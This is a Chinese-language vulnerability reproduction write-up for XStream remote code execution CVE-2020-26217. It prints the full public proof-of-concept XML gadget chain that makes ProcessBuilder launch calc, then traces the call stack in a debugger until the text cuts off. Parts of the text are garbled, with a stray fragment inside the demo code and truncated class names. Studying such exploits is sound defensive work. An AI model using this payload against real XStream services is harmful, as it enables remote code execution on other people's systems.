Xstream远程代码执⾏(CVE-2020-26217)复现分析
前⾔
Xstream是⼀个基于java语⾔的xml操作类库,同时也是Java对象和XML相互转换的⼯具,提供了所有的基础类型、数组、集合等类型直接转换的⽀持。因此XML常⽤于数据交换、对象序列化。本⽂将从Xstream的环境搭建到CVE-2020-26217远程代码执⾏漏洞的复现分析做⼀个记录。
环境准备
本地环境:idea+jdk8.0
idea新建⼀个maven项⽬
在l⽂件中添加如下依赖
接着右键maven->Reimport下载导⼊Xstream1.4.13
新建⼀个demo类来⽅便调试
import com.thoughtworks.xstream.XStream;
public class XstreamDemo {
public static void main(String[] args){springframework远程代码执行漏洞
String xml = "<map>poc</map>";
XStream xstream = new XStream();
xstream.fromXML(xml);
}
}
复现分析
在Xstream的官⽹已经发布了官⽅的poc,链接:
内容如下:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='l.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='l.l.XMLMessage$XmlDataSource'>            <contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
把这段poc替换进我们新建的demo类中的xml,运⾏后成功弹出了计算器
⾸先为了观察整个gadget的调⽤栈,在poc中可以看出,最后⼀步会运⾏到java.lang.ProcessBuilder#start⽅法,所以直接来到这⾥下断点调试
发现调⽤栈还是很长的,下⾯⼀点⼀点来跟着poc和调⽤栈分析
先回到最开始的⼊⼝来
先把我们的poc作为xml参数传⼊fromXML⽅法,后⾯接着⼜调⽤了XStream#unmarshal()⽅法,参数为处理后的poc字符输⼊流
跟⼊XStream#unmarshal()⽅法,后⾯⼜调⽤了AbstractTreeMarshallingStrategy#unmarshal()
后⾯调⽤了start(),接着跟⼊
接着开始进⼊到convertAnother()⽅法,也就是xml到java类对象的⼀系列转换
经过了⼏个convert转换后,接着调⽤了MapConvert#unmarshal()⽅法,先是实例化⽣成了⼀个map对象,然后⼜调⽤populateMap()把数据封装到map对象⾥
跟⼊putCurrentEntryIntoMap()⽅法

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。